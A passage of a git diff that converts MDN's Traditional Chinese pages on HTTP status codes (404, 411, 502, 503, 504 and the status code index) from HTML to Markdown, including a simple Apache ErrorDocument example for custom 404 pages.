很多網站都會自訂 404 錯誤頁面,以便在指引用戶後續動作方面,提供進一步的幫助。Apache 伺服器可以透過 .htaccess 檔案設定,程式碼如下:

- -
ErrorDocument 404 /notfound.html
- -

要參考自訂 404 錯誤頁面範例,請看看 MDN 的 404 頁面

- -
-

適度地客製是件好事:你可以讓 404 頁面幽默和人性化,但不要讓用戶困惑。

-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.status.404")}}

- -

參見

- - diff --git a/files/zh-tw/web/http/status/404/index.md b/files/zh-tw/web/http/status/404/index.md new file mode 100644 index 00000000000000..8e723d7a01093a --- /dev/null +++ b/files/zh-tw/web/http/status/404/index.md @@ -0,0 +1,42 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +translation_of: Web/HTTP/Status/404 +--- +{{HTTPSidebar}} + +HTTP **`404 Not Found`** 用戶端錯誤回應碼,表明了伺服器找不到請求的資源。引發 404 頁面的連結,通常被稱作斷連或死連(broken or dead link)、並可以導到失效連結([link rot](https://en.wikipedia.org/wiki/Link_rot))頁面。 + +404 狀態碼並沒有表明資源是暫時不見、還是永遠不見。如果資源是永遠不見,就應該用 {{HTTPStatus(410)}}(Gone) 而不是 404。 + +## 狀態 + +```plain +404 Not Found +``` + +## 自訂錯誤頁面 + +很多網站都會自訂 404 錯誤頁面,以便在指引用戶後續動作方面,提供進一步的幫助。Apache 伺服器可以透過 `.htaccess` 檔案設定,程式碼如下: + +```bash +ErrorDocument 404 /notfound.html +``` + +要參考自訂 404 錯誤頁面範例,請看看 [MDN 的 404 頁面](/zh-TW/404)。 + +> **備註:** 適度地客製是件好事:你可以讓 404 頁面幽默和人性化,但不要讓用戶困惑。 + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.status.404")}} + +## 參見 + +- {{HTTPStatus(410)}} +- [維基百科的 HTTP 404](https://zh.wikipedia.org/wiki/HTTP_404) +- [404 Error](https://www.exai.com/blog/404-http-error) diff --git a/files/zh-tw/web/http/status/411/index.html b/files/zh-tw/web/http/status/411/index.html deleted file mode 100644 index a22a28d0a2035f..00000000000000 --- a/files/zh-tw/web/http/status/411/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: 411 Length Required -slug: Web/HTTP/Status/411 -translation_of: Web/HTTP/Status/411 ---- -
{{HTTPSidebar}}
- -

超文本傳輸協定 (HTTP) 411 Length Required 用戶端錯誤表示伺服器拒絕接收沒有定義 {{HTTPHeader("Content-Length")}} 頭的請求。

- -
-

Note: by specification, when sending data in a series of chunks, the Content-Length header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format. See {{HTTPHeader("Transfer-Encoding")}} for more details.

-
- -

狀態

- -
411 Length Required
- -

規範

- -{{Specifications}} - -

參見

- -
    -
  • {{HTTPHeader("Content-Length")}}
  • -
  • {{HTTPHeader("Transfer-Encoding")}}
  • -
diff --git a/files/zh-tw/web/http/status/411/index.md b/files/zh-tw/web/http/status/411/index.md new file mode 100644 index 00000000000000..0a9fce03e7cfd6 --- /dev/null +++ b/files/zh-tw/web/http/status/411/index.md @@ -0,0 +1,25 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +translation_of: Web/HTTP/Status/411 +--- +{{HTTPSidebar}} + +超文本傳輸協定 (HTTP) **`411 Length Required`** 用戶端錯誤表示伺服器拒絕接收沒有定義 {{HTTPHeader("Content-Length")}} 頭的請求。 + +> **備註:** by specification, when sending data in a series of chunks, the `Content-Length` header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format. See {{HTTPHeader("Transfer-Encoding")}} for more details. + +## 狀態 + +```plain +411 Length Required +``` + +## 規範 + +{{Specifications}} + +## 參見 + +- {{HTTPHeader("Content-Length")}} +- {{HTTPHeader("Transfer-Encoding")}} diff --git a/files/zh-tw/web/http/status/502/index.html b/files/zh-tw/web/http/status/502/index.html deleted file mode 100644 index d73a778a0dc048..00000000000000 --- a/files/zh-tw/web/http/status/502/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: 502 Bad Gateway -slug: Web/HTTP/Status/502 -tags: - - Bad Gateway - - HTTP - - Status code -translation_of: Web/HTTP/Status/502 ---- -
{{HTTPSidebar}}
- -

502 Bad Gateway 錯誤表明伺服器以閘道器或代理訪問時,收到了來自上游服務器的無效回應。

- -
-

注意:閘道器可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的,他通常需要在要訪問的的伺服器或代理修復之。

-
- -

狀態

- -
502 Bad Gateway
-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

The information shown below has been pulled from MDN's GitHub (https://github.com/mdn/browser-compat-data).

- - - -

{{Compat("http.status.502")}}

- -

See also

- - diff --git a/files/zh-tw/web/http/status/502/index.md b/files/zh-tw/web/http/status/502/index.md new file mode 100644 index 00000000000000..e58c16694d8cda --- /dev/null +++ b/files/zh-tw/web/http/status/502/index.md @@ -0,0 +1,39 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +tags: + - Bad Gateway + - HTTP + - Status code +translation_of: Web/HTTP/Status/502 +--- +{{HTTPSidebar}} + +`502 Bad Gateway` 錯誤表明伺服器以閘道器或代理訪問時,收到了來自上游服務器的無效回應。 + +> **備註:** [閘道器](https://zh.wikipedia.org/wiki/閘道器)可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的,他通常需要在要訪問的的伺服器或代理修復之。 + +## 狀態 + +```plain +502 Bad Gateway +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +The information shown below has been pulled from MDN's GitHub (). + +{{Compat("http.status.502")}} + +## See also + +- [WordPress 出現 502 Bad Gateway Error 解決方法](https://techmoon.xyz/502-bad-gateway-error-fix-wordpress/) +- {{HTTPStatus(504)}} +- [HTTP/1.1: Status Code Definition](https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html) +- [502 bad gateway fix](https://www.exai.com/blog/502-bad-gateway) +- [502 Bad Gateway error on WordPress](https://kinsta.com/blog/502-bad-gateway/) +- [502 error with Cloudflare](https://support.cloudflare.com/hc/en-us/articles/115003011431#502504error) diff --git a/files/zh-tw/web/http/status/503/index.html b/files/zh-tw/web/http/status/503/index.html deleted file mode 100644 index dffaa756b2125c..00000000000000 --- a/files/zh-tw/web/http/status/503/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 503 Service Unavailable -slug: Web/HTTP/Status/503 -tags: - - 503 error - - HTTP - - Service Unavailable Error - - Status code -translation_of: Web/HTTP/Status/503 ---- -
{{HTTPSidebar}}
- -

超文本傳輸協定(英文:HyperText Transfer Protocol (HTTP) ) 503 Service Unavailable 表示目前伺服器暫時不能處理連線的請求。

- -

起因通常是伺服器正在進行維護或是當下流量過載。這種錯誤回傳應該是暫時性的,並且{{HTTPHeader("Retry-After")}} HTTP header 中要盡可能描述到系統大概恢復正常的時間。.

- -
-

注意:回傳這種錯誤的同時,也要同時顯示一張對使用者友善的網頁,來簡單描述問題。

-
- -

回傳此錯誤時,務必注意和快取存取相關的標頭(Caching-related headers),因為 503 狀態通常要是暫時性的,而這種回應不應該被暫存至快取。

- -

狀態

- -
503 Service Unavailable
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

以下資訊是從 MDN 的 GitHub 取得 (https://github.com/mdn/browser-compat-data).

- -

{{Compat("http.status.503")}}

- -

請參閱

- -
    -
  • {{HTTPHeader("Retry-After")}}
  • -
- -

了解更多

- -

一般知識

- - diff --git a/files/zh-tw/web/http/status/503/index.md b/files/zh-tw/web/http/status/503/index.md new file mode 100644 index 00000000000000..9d3ea3981a1986 --- /dev/null +++ b/files/zh-tw/web/http/status/503/index.md @@ -0,0 +1,48 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +tags: + - 503 error + - HTTP + - Service Unavailable Error + - Status code +translation_of: Web/HTTP/Status/503 +--- +{{HTTPSidebar}} + +超文本傳輸協定(英文:HyperText Transfer Protocol (HTTP) ) **`503 Service Unavailable`** 表示目前伺服器暫時不能處理連線的請求。 + +起因通常是伺服器正在進行維護或是當下流量過載。這種錯誤回傳應該是暫時性的,並且{{HTTPHeader("Retry-After")}} HTTP header 中要盡可能描述到系統大概恢復正常的時間。. + +> **備註:** 回傳這種錯誤的同時,也要同時顯示一張對使用者友善的網頁,來簡單描述問題。 + +回傳此錯誤時,務必注意和快取存取相關的標頭(Caching-related headers),因為 503 狀態通常要是暫時性的,而這種回應不應該被暫存至快取。 + +## 狀態 + +```plain +503 Service Unavailable +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +以下資訊是從 MDN 的 GitHub 取得 (). + +{{Compat("http.status.503")}} + +## 請參閱 + +- {{HTTPHeader("Retry-After")}} + +## 了解更多 + +### 一般知識 + +- [HTTP/1.1: Status Code Definitions](https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html) +- [HTTP Error 503](https://kinsta.com/blog/http-error-503/) +- [503 Service Unvailaible WordPress](https://secure.wphackedhelp.com/blog/503-service-unavailable-error-wordpress/) +- [如何修復在 WordPress 當中「503 Service Unavailable Error」的問題?](https://techmoon.xyz/503-service-unavailable-error/) diff --git a/files/zh-tw/web/http/status/504/index.html b/files/zh-tw/web/http/status/504/index.html deleted file mode 100644 index bee2783593dbff..00000000000000 --- a/files/zh-tw/web/http/status/504/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: 504 Gateway Timeout -slug: Web/HTTP/Status/504 -translation_of: Web/HTTP/Status/504 ---- -
{{HTTPSidebar}}
- -

504 Gateway Timeout 錯誤表明伺服器以閘道器或代理訪問時,並沒有上游伺服器即時收到完成請求所需的回應。

- -
-

注意:閘道器可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的,通常需要在要訪問的的伺服器或代理修復之。

-
- -

狀態

- -
504 Gateway Timeout
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

The information shown below has been pulled from MDN's GitHub (https://github.com/mdn/browser-compat-data).

- -

{{Compat("http.status.504")}}

- -

See also

- - diff --git a/files/zh-tw/web/http/status/504/index.md b/files/zh-tw/web/http/status/504/index.md new file mode 100644 index 00000000000000..1ee34fad2b1be9 --- /dev/null +++ b/files/zh-tw/web/http/status/504/index.md @@ -0,0 +1,31 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +translation_of: Web/HTTP/Status/504 +--- +{{HTTPSidebar}} + +**`504 Gateway Timeout`** 錯誤表明伺服器以閘道器或代理訪問時,並沒有上游伺服器即時收到完成請求所需的回應。 + +> **備註:** [閘道器](https://zh.wikipedia.org/wiki/閘道器)可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的,通常需要在要訪問的的伺服器或代理修復之。 + +## 狀態 + +```plain +504 Gateway Timeout +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +The information shown below has been pulled from MDN's GitHub (). + +{{Compat("http.status.504")}} + +## See also + +- [HTTP/1.1: Status Code Definitions](https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html) +- {{HTTPStatus(502)}} diff --git a/files/zh-tw/web/http/status/index.html b/files/zh-tw/web/http/status/index.html deleted file mode 100644 index 645b129a2eddb7..00000000000000 --- a/files/zh-tw/web/http/status/index.html +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: HTTP 狀態碼 -slug: Web/HTTP/Status -translation_of: Web/HTTP/Status ---- -
{{HTTPSidebar}}
- -

HTTP 狀態碼表明一個 HTTP 要求是否已經被完成。回應分為五種:

- -
    -
  1. 資訊回應 (Informational responses, 100199),
  2. -
  3. 成功回應 (Successful responses, 200299),
  4. -
  5. 重定向 (Redirects, 300399),
  6. -
  7. 用戶端錯誤 (Client errors, 400499),
  8. -
  9. 伺服器端錯誤 (Server errors, 500599).
  10. -
- -

以下的狀態碼定義在 section 10 of RFC 2616 中。你可以在 RFC 7231 查看更新過的規範。

- -
-

如果你收到任何不在清單內的回應,那很可能伺服器自行軟體實作的非標準規範。

-
- -

資訊回應

- -
-
{{HTTPStatus(100, "100 Continue")}}
-
此臨時回應表明,目前為止的一切完好,而用戶端應當繼續完成請求、或是在已完成請求的情況下,忽略此資訊。
-
{{HTTPStatus(101, "101 Switching Protocol")}}
-
此狀態碼乃為用戶端 {{HTTPHeader("Upgrade")}} 請求標頭發送之回應、且表明伺服器亦切換中。
-
{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})
-
此狀態碼表明伺服器收到並處理請求中,但目前未有回應。
-
{{HTTPStatus(103, "103 Early Hints")}}
-
此狀態碼主要與 {{HTTPHeader("Link")}} 標頭有關:它能讓用戶代理(user agent)能在伺服器準備回應前能 preloading 資源。
-
- -

成功回應

- -
-
{{HTTPStatus(200, "200 OK")}}
-
請求成功。成功的意義依照 HTTP 方法而定:
- GET:資源成功獲取並於訊息主體中發送。
- HEAD:entity 標頭已於訊息主體中。
- POST:已傳送訊息主體中的 resource describing the result of the action。
- TRACE:伺服器已接收到訊息主體內含的請求訊息。
-
{{HTTPStatus(201, "201 Created")}}
-
請求成功且新的資源成功被創建,通常用於 POST 或一些 PUT 請求後的回應。
-
{{HTTPStatus(202, "202 Accepted")}}
-
此請求已經被接受但尚未處理。此狀態為非承諾性,代表 HTTP 無法在之後傳送一個非同步的回應告知請求的處理結果。最初目的為外部程序或其他伺服器處理請求的情況,或用於批次處理中。
-
{{HTTPStatus(203, "203 Non-Authoritative Information")}}
-
此回應碼表示回傳的中介資料集與並非與原始伺服器上的有效確定集合完全相同,而是來自本地或第三方的副本。除此情況外,200 OK 回應碼應該被優先使用。
-
{{HTTPStatus(204, "204 No Content")}}
-
There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.
-
{{HTTPStatus(205, "205 Reset Content")}}
-
This response code is sent after accomplishing request to tell user agent reset document view which sent this request.
-
{{HTTPStatus(206, "206 Partial Content")}}
-
This response code is used because of range header sent by the client to separate download into multiple streams.
-
{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})
-
A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.
-
{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})
-
Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly.
-
{{HTTPStatus(226, "226 IM Used")}} (HTTP Delta encoding)
-
The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.
-
- -

重定向訊息

- -
-
{{HTTPStatus(300, "300 Multiple Choice")}}
-
請求擁有一個以上的回應。用戶代理或使用者應該從中選一。不過,並沒有標準的選擇方案。
-
{{HTTPStatus(301, "301 Moved Permanently")}}
-
此回應碼的意思是,請求資源的 URI 已被改變。有時候,會在回應內給予新的 URI。
-
{{HTTPStatus(302, "302 Found")}}
-
This response code means that URI of requested resource has been changed temporarily. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.
-
{{HTTPStatus(303, "303 See Other")}}
-
Server sent this response to directing client to get requested resource to another URI with an GET request.
-
{{HTTPStatus(304, "304 Not Modified")}}
-
This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.
-
305 Use Proxy {{deprecated_inline}}
-
在舊版本的 HTTP 規範中,表示請求資源必須透過代理存取。基於對代理的頻內設置 (in-band configuration) 相關的安全考量,該狀態碼已棄用。
-
306 unused
-
該狀態碼已不再被使用,僅被保留。該狀態碼曾在先前得的 HTTP 1.1 規範中被使用。
-
{{HTTPStatus(307, "307 Temporary Redirect")}}
-
伺服器發送此回應來使客戶端保持請求方法不變向新的地址發出請求。 與 302 Found 相同,差別在於客戶端不許變更請求方法。例如,應使用另一個 POST 請求來重複發送 POST 請求。
-
{{HTTPStatus(308, "308 Permanent Redirect")}}
-
This means that the resource is now permanently located at another URI, specified by the Location: HTTP Response header. This has the same semantics as the 301 Moved Permanently HTTP response code, with the exception that the user agent must not change the HTTP method used: if a POST was used in the first request, a POST must be used in the second request.
-
- -

用戶端錯誤回應

- -
-
{{HTTPStatus(400, "400 Bad Request")}}
-
此回應意味伺服器因為收到無效語法,而無法理解請求。
-
{{HTTPStatus(401, "401 Unauthorized")}}
-
需要授權以回應請求。它有點像 403,但這裡的授權,是有可能辦到的。
-
{{HTTPStatus(402, "402 Payment Required")}} {{experimental_inline}}
-
此回應碼留作未來使用。一開始此碼旨在用於數位交易系統,然而,目前極少被使用,且不存在標準或慣例。
-
{{HTTPStatus(403, "403 Forbidden")}}
-
用戶端並無訪問權限,例如未被授權,所以伺服器拒絕給予應有的回應。不同於 401,伺服端知道用戶端的身份。
-
{{HTTPStatus(404, "404 Not Found")}}
-
伺服器找不到請求的資源。因為在網路上它很常出現,這回應碼也許最為人所悉。
-
{{HTTPStatus(405, "405 Method Not Allowed")}}
-
伺服器理解此請求方法,但它被禁用或不可用。有兩個強制性方法:GETHEAD,永遠不該被禁止、也不該回傳此錯誤碼。
-
{{HTTPStatus(406, "406 Not Acceptable")}}
-
This response is sent when the web server, after performing server-driven content negotiation, doesn't find any content following the criteria given by the user agent.
-
{{HTTPStatus(407, "407 Proxy Authentication Required")}}
-
類似於401,但需要被代理伺服器驗證。.
-
{{HTTPStatus(408, "408 Request Timeout")}}
-
This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.
-
{{HTTPStatus(409, "409 Conflict")}}
-
表示請求與伺服器目前狀態衝突
-
{{HTTPStatus(410, "410 Gone")}}
-
當伺服器已刪除請求的內容時會送出此回應。
-
{{HTTPStatus(411, "411 Length Required")}}
-
伺服器拒絕該請求,因為 Content-Length 頭沒有被定義,然而伺服器要求。
-
{{HTTPStatus(412, "412 Precondition Failed")}}
-
The client has indicated preconditions in its headers which the server does not meet.
-
{{HTTPStatus(413, "413 Payload Too Large")}}
-
請求的實體資料大小超過了伺服器定義的上限,伺服器會關閉連接或返回一個 Retry-After 回應頭。
-
{{HTTPStatus(414, "414 URI Too Long")}}
-
客戶端的 URI 請求超過伺服器願意解析的長度。
-
{{HTTPStatus(415, "415 Unsupported Media Type")}}
-
被請求資源的多媒體類型不被伺服器支援,因此該請求被拒絕。
-
{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}
-
The range specified by the Range header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.
-
{{HTTPStatus(417, "417 Expectation Failed")}}
-
此回應代表伺服器未能滿足請求標頭的Expect欄位所提出的期望回應。
-
{{HTTPStatus(418, "418 I'm a teapot")}}
-
The server refuses the attempt to brew coffee with a teapot.
-
{{HTTPStatus(421, "421 Misdirected Request")}}
-
The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.
-
{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})
-
請求格式正確,但有部分語意上的錯誤而無法執行請求。
-
{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})
-
被訪問的資源被鎖定。
-
{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})
-
由於先前的請求失敗導致此請求失敗。
-
{{HTTPStatus(426, "426 Upgrade Required")}}
-
The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).
-
{{HTTPStatus(428, "428 Precondition Required")}}
-
The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.
-
{{HTTPStatus(429, "429 Too Many Requests")}}
-
用戶在給定的時間內 ("rate limiting") 發送了過多的請求。
-
{{HTTPStatus(431, "431 Request Header Fields Too Large")}}
-
伺服器不願意處理該請求,因為標頭欄位過大。該請求可能可以在減少請求標頭欄位大小後重新提交。
-
{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}
-
用戶端請求違法的資源,例如受政府審查的網頁。
-
- -

伺服器端錯誤回應

- -
-
{{HTTPStatus(500, "500 Internal Server Error")}}
-
伺服器端發生未知或無法處理的錯誤。
-
{{HTTPStatus(501, "501 Not Implemented")}}
-
伺服器不支援請求的方法,僅有GETHEAD是伺服器必須支援的方法。
-
{{HTTPStatus(502, "502 Bad Gateway")}}
-
作為閘道的伺服器,在獲取處理請求所需的回應時,得到無效回應。
-
{{HTTPStatus(503, "503 Service Unavailable")}}
-
The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the Retry-After: HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.
-
{{HTTPStatus(504, "504 Gateway Timeout")}}
-
伺服器作為閘道器時無法及時得到回應。
-
{{HTTPStatus(505, "505 HTTP Version Not Supported")}}
-
請求使用的 HTTP 版本不被伺服器支援。
-
{{HTTPStatus(506, "506 Variant Also Negotiates")}}
-
The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.
-
{{HTTPStatus(507, "507 Insufficient Storage")}}
-
The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.
-
{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})
-
伺服器處理請求時偵測到無限迴圈。
-
{{HTTPStatus(510, "510 Not Extended")}}
-
伺服器需要對請求做進一步的擴充才能完成請求。
-
{{HTTPStatus(511, "511 Network Authentication Required")}}
-
用戶需要經過認證才能取得網路存取權。
-
- -

瀏覽器相容性

- - - -

{{Compat("http.status")}}

- -

參見

- - diff --git a/files/zh-tw/web/http/status/index.md b/files/zh-tw/web/http/status/index.md new file mode 100644 index 00000000000000..1118a2173f81b7 --- /dev/null +++ b/files/zh-tw/web/http/status/index.md @@ -0,0 +1,173 @@ +--- +title: HTTP 狀態碼 +slug: Web/HTTP/Status +translation_of: Web/HTTP/Status +--- +{{HTTPSidebar}} + +HTTP 狀態碼表明一個 [HTTP](/zh-TW/docs/Web/HTTP) 要求是否已經被完成。回應分為五種: + +1. 資訊回應 (Informational responses, `100`–`199`), +2. 成功回應 (Successful responses, `200`–`299`), +3. 重定向 (Redirects, `300`–`399`), +4. 用戶端錯誤 (Client errors, `400`–`499`), +5. 伺服器端錯誤 (Server errors, `500`–`599`). + +以下的狀態碼定義在 [section 10 of RFC 2616](https://tools.ietf.org/html/rfc2616#section-10) 中。你可以在 [RFC 7231](https://tools.ietf.org/html/rfc7231#section-6.5.1) 查看更新過的規範。 + +> **備註:** 如果你收到任何不在清單內的回應,那很可能伺服器自行軟體實作的非標準規範。 + +## 資訊回應 + +- {{HTTPStatus(100, "100 Continue")}} + - : 此臨時回應表明,目前為止的一切完好,而用戶端應當繼續完成請求、或是在已完成請求的情況下,忽略此資訊。 +- {{HTTPStatus(101, "101 Switching Protocol")}} + - : 此狀態碼乃為用戶端 {{HTTPHeader("Upgrade")}} 請求標頭發送之回應、且表明伺服器亦切換中。 +- {{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}}) + - : 此狀態碼表明伺服器收到並處理請求中,但目前未有回應。 +- {{HTTPStatus(103, "103 Early Hints")}} + - : 此狀態碼主要與 {{HTTPHeader("Link")}} 標頭有關:它能讓用戶代理(user agent)能在伺服器準備回應前能 [preloading](/zh-TW/docs/Web/HTML/Preloading_content) 資源。 + +## 成功回應 + +- {{HTTPStatus(200, "200 OK")}} + - : 請求成功。成功的意義依照 HTTP 方法而定: + GET:資源成功獲取並於訊息主體中發送。 + HEAD:entity 標頭已於訊息主體中。 + POST:已傳送訊息主體中的 resource describing the result of the action。 + TRACE:伺服器已接收到訊息主體內含的請求訊息。 +- {{HTTPStatus(201, "201 Created")}} + - : 請求成功且新的資源成功被創建,通常用於 POST 或一些 PUT 請求後的回應。 +- {{HTTPStatus(202, "202 Accepted")}} + - : 此請求已經被接受但尚未處理。此狀態為非承諾性,代表 HTTP 無法在之後傳送一個非同步的回應告知請求的處理結果。最初目的為外部程序或其他伺服器處理請求的情況,或用於批次處理中。 +- {{HTTPStatus(203, "203 Non-Authoritative Information")}} + - : 此回應碼表示回傳的中介資料集與並非與原始伺服器上的有效確定集合完全相同,而是來自本地或第三方的副本。除此情況外,200 OK 回應碼應該被優先使用。 +- {{HTTPStatus(204, "204 No Content")}} + - : There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones. +- {{HTTPStatus(205, "205 Reset Content")}} + - : This response code is sent after accomplishing request to tell user agent reset document view which sent this request. +- {{HTTPStatus(206, "206 Partial Content")}} + - : This response code is used because of range header sent by the client to separate download into multiple streams. +- {{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}}) + - : A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate. +- {{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}}) + - : Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly. +- {{HTTPStatus(226, "226 IM Used")}} ([HTTP Delta encoding](https://tools.ietf.org/html/rfc3229)) + - : The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance. + +## 重定向訊息 + +- {{HTTPStatus(300, "300 Multiple Choice")}} + - : 請求擁有一個以上的回應。用戶代理或使用者應該從中選一。不過,並沒有標準的選擇方案。 +- {{HTTPStatus(301, "301 Moved Permanently")}} + - : 此回應碼的意思是,請求資源的 URI 已被改變。有時候,會在回應內給予新的 URI。 +- {{HTTPStatus(302, "302 Found")}} + - : This response code means that URI of requested resource has been changed _temporarily_. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests. +- {{HTTPStatus(303, "303 See Other")}} + - : Server sent this response to directing client to get requested resource to another URI with an GET request. +- {{HTTPStatus(304, "304 Not Modified")}} + - : This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response. +- `305 Use Proxy` {{deprecated_inline}} + - : 在舊版本的 HTTP 規範中,表示請求資源必須透過代理存取。基於對代理的頻內設置 (in-band configuration) 相關的安全考量,該狀態碼已棄用。 +- `306 unused` + - : 該狀態碼已不再被使用,僅被保留。該狀態碼曾在先前得的 HTTP 1.1 規範中被使用。 +- {{HTTPStatus(307, "307 Temporary Redirect")}} + - : 伺服器發送此回應來使客戶端保持請求方法不變向新的地址發出請求。 與 `302 Found` 相同,差別在於客戶端不許變更請求方法。例如,應使用另一個 `POST` 請求來重複發送 `POST` 請求。 +- {{HTTPStatus(308, "308 Permanent Redirect")}} + - : This means that the resource is now permanently located at another URI, specified by the `Location:` HTTP Response header. This has the same semantics as the `301 Moved Permanently` HTTP response code, with the exception that the user agent _must not_ change the HTTP method used: if a `POST` was used in the first request, a `POST` must be used in the second request. + +## 用戶端錯誤回應 + +- {{HTTPStatus(400, "400 Bad Request")}} + - : 此回應意味伺服器因為收到無效語法,而無法理解請求。 +- {{HTTPStatus(401, "401 Unauthorized")}} + - : 需要授權以回應請求。它有點像 403,但這裡的授權,是有可能辦到的。 +- {{HTTPStatus(402, "402 Payment Required")}} {{experimental_inline}} + - : 此回應碼留作未來使用。一開始此碼旨在用於數位交易系統,然而,目前極少被使用,且不存在標準或慣例。 +- {{HTTPStatus(403, "403 Forbidden")}} + - : 用戶端並無訪問權限,例如未被授權,所以伺服器拒絕給予應有的回應。不同於 401,伺服端知道用戶端的身份。 +- {{HTTPStatus(404, "404 Not Found")}} + - : 伺服器找不到請求的資源。因為在網路上它很常出現,這回應碼也許最為人所悉。 +- {{HTTPStatus(405, "405 Method Not Allowed")}} + - : 伺服器理解此請求方法,但它被禁用或不可用。有兩個強制性方法:`GET` 與 `HEAD`,永遠不該被禁止、也不該回傳此錯誤碼。 +- {{HTTPStatus(406, "406 Not Acceptable")}} + - : This response is sent when the web server, after performing [server-driven content negotiation](/zh-TW/docs/HTTP/Content_negotiation#Server-driven_negotiation), doesn't find any content following the criteria given by the user agent. +- {{HTTPStatus(407, "407 Proxy Authentication Required")}} + - : 類似於 401,但需要被代理伺服器驗證。. +- {{HTTPStatus(408, "408 Request Timeout")}} + - : This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message. +- {{HTTPStatus(409, "409 Conflict")}} + - : 表示請求與伺服器目前狀態衝突 +- {{HTTPStatus(410, "410 Gone")}} + - : 當伺服器已刪除請求的內容時會送出此回應。 +- {{HTTPStatus(411, "411 Length Required")}} + - : 伺服器拒絕該請求,因為 `Content-Length` 頭沒有被定義,然而伺服器要求。 +- {{HTTPStatus(412, "412 Precondition Failed")}} + - : The client has indicated preconditions in its headers which the server does not meet. +- {{HTTPStatus(413, "413 Payload Too Large")}} + - : 請求的實體資料大小超過了伺服器定義的上限,伺服器會關閉連接或返回一個 `Retry-After` 回應頭。 +- {{HTTPStatus(414, "414 URI Too Long")}} + - : 客戶端的 URI 請求超過伺服器願意解析的長度。 +- {{HTTPStatus(415, "415 Unsupported Media Type")}} + - : 被請求資源的多媒體類型不被伺服器支援,因此該請求被拒絕。 +- {{HTTPStatus(416, "416 Requested Range Not Satisfiable")}} + - : The range specified by the `Range` header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data. +- {{HTTPStatus(417, "417 Expectation Failed")}} + - : 此回應代表伺服器未能滿足請求標頭的`Expect`欄位所提出的期望回應。 +- {{HTTPStatus(418, "418 I'm a teapot")}} + - : The server refuses the attempt to brew coffee with a 